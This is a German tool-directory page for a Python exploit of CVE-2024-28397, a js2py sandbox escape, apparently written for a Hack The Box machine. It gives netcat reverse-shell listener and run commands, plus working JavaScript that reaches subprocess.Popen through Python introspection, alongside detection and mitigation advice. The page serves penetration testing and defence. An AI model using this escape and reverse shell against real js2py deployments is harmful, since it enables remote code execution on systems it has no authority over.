Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-28397 — Dieses Repository enthält einen Python-Exploit-Code für CVE-2024-28397, der für die Verwendung auf der Maschine "CodePartTwo" auf Hack The Box (HTB) vorgesehen ist. | Kitploit
Tools/GitHubGitHub/naclapor/cve-2024-28397
SchwachstellenanalyseExploitationCTFPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

Dieses Repository enthält einen Python-Exploit-Code für CVE-2024-28397, der für die Verwendung auf der Maschine "CodePartTwo" auf Hack The Box (HTB) vorgesehen ist.

Repository anzeigen
1212vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-28397 js2py Sandbox Escape Exploit - (CodePartTwo - HTB)

Ein Python-Exploit-Code für CVE-2024-28397, eine kritische Sicherheitslücke in js2py <= 0.74, die Sandbox-Escape und Remote Code Execution ermöglicht.

🚨 Details zur Sicherheitslücke

  • CVE-ID: CVE-2024-28397
  • Betroffene Software: js2py <= 0.74
  • Schweregrad: Kritisch (CVSS 9.8)
  • Typ: Sandbox-Escape / Remote Code Execution
  • Entdeckungsdatum: Februar 2024

Beschreibung

js2py ist eine beliebte Python-Bibliothek zur Ausführung von JavaScript-Code in Python-Umgebungen. Diese Schwachstelle ermöglicht es Angreifern, die js2py-Sandbox-Umgebung zu verlassen und beliebige Python-/Systembefehle auszuführen – selbst wenn js2py.disable_pyimport() aktiviert ist.

Der Exploit nutzt die Objekt-Introspection-Fähigkeiten von Python über JavaScript aus, um auf die subprocess.Popen-Klasse zuzugreifen und Systembefehle auszuführen.

🎯 Betroffene Anwendungen

  • Webanwendungen, die js2py zur JavaScript-Auswertung verwenden
  • Code-Ausführungsplattformen (z. B. Online-Code-Editoren)
  • Web-Scraper, die JavaScript parsen
  • Jede Anwendung, die nicht vertrauenswürdigen JavaScript-Code über js2py verarbeitet

🚀 Verwendung

Voraussetzungen

root@kitploit:~
pip install requests

Grundlegende Verwendung

root@kitploit:~
# Netcat-Listener starten
nc -lnvp 4444

# Exploit ausführen
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

Befehlszeilenoptionen

root@kitploit:~
--target    Ziel-URL-Endpunkt (erforderlich)
--lhost     Lokale IP für Reverse Shell (erforderlich)
--lport     Lokaler Port für Reverse Shell (Standard: 4444)

Beispiel

root@kitploit:~
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 Funktionsweise

  1. Payload-Generierung: Erstellt einen base64-kodierten Reverse-Shell-Befehl
  2. Sandbox-Escape: Nutzt JavaScript, um über __class__ und __base__ auf die Python-Objekt-Hierarchie zuzugreifen
  3. Prozessausführung: Lokalisiert subprocess.Popen durch Introspection
  4. Befehlsausführung: Führt den Reverse-Shell-Befehl mittels Popen aus
  5. Shell-Aufbau: Verbindet sich zurück zum Angreifer-Rechner

Technische Details

Der Exploit funktioniert wie folgt:

  • Zugriff auf Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
  • Durchlaufen der Python-Objekt-Hierarchie mittels __subclasses__()
  • Finden der subprocess.Popen-Klasse
  • Erstellen eines neuen Prozesses zur Ausführung der Reverse Shell

📝 Exploit-Code-Struktur

root@kitploit:~
// Auf Python-Objekt-Hierarchie zugreifen
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// subprocess.Popen-Klasse finden
function findpopen(o) {
    // Rekursive Suche durch Unterklassen
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Befehl ausführen
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ Erkennung

Achten Sie auf JavaScript-Code, der Folgendes enthält:

  • Zugriff auf __class__ oder ___class___
  • Methodenaufrufe von __subclasses__()
  • Verweise auf subprocess oder Popen
  • Base64-kodierte Payloads mit printf und base64 -d

🔒 Gegenmaßnahmen

  1. js2py aktualisieren: Auf eine gepatchte Version (> 0.74) upgraden
  2. Eingabevalidierung: JavaScript-Code vor der Ausführung bereinigen
  3. Sandboxing: Zusätzliche Containerisierung verwenden (Docker, chroot)
  4. Code-Review: JavaScript-Ausführungskontexte prüfen
  5. WAF-Regeln: Verdächtige JavaScript-Muster blockieren

⚠️ Rechtlicher Hinweis

Dieses Tool ist nur für autorisierte Penetrationstests und Bildungszwecke bestimmt. Die Nutzer sind für die Einhaltung der geltenden Gesetze und Vorschriften verantwortlich. Unbefugter Zugriff auf Computersysteme ist illegal.

📚 Referenzen

  • Originaler CVE-Bericht
  • js2py GitHub-Repository
  • CVE-2024-28397 Details

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die LICENSE-Datei für Details.

Tool herunterladen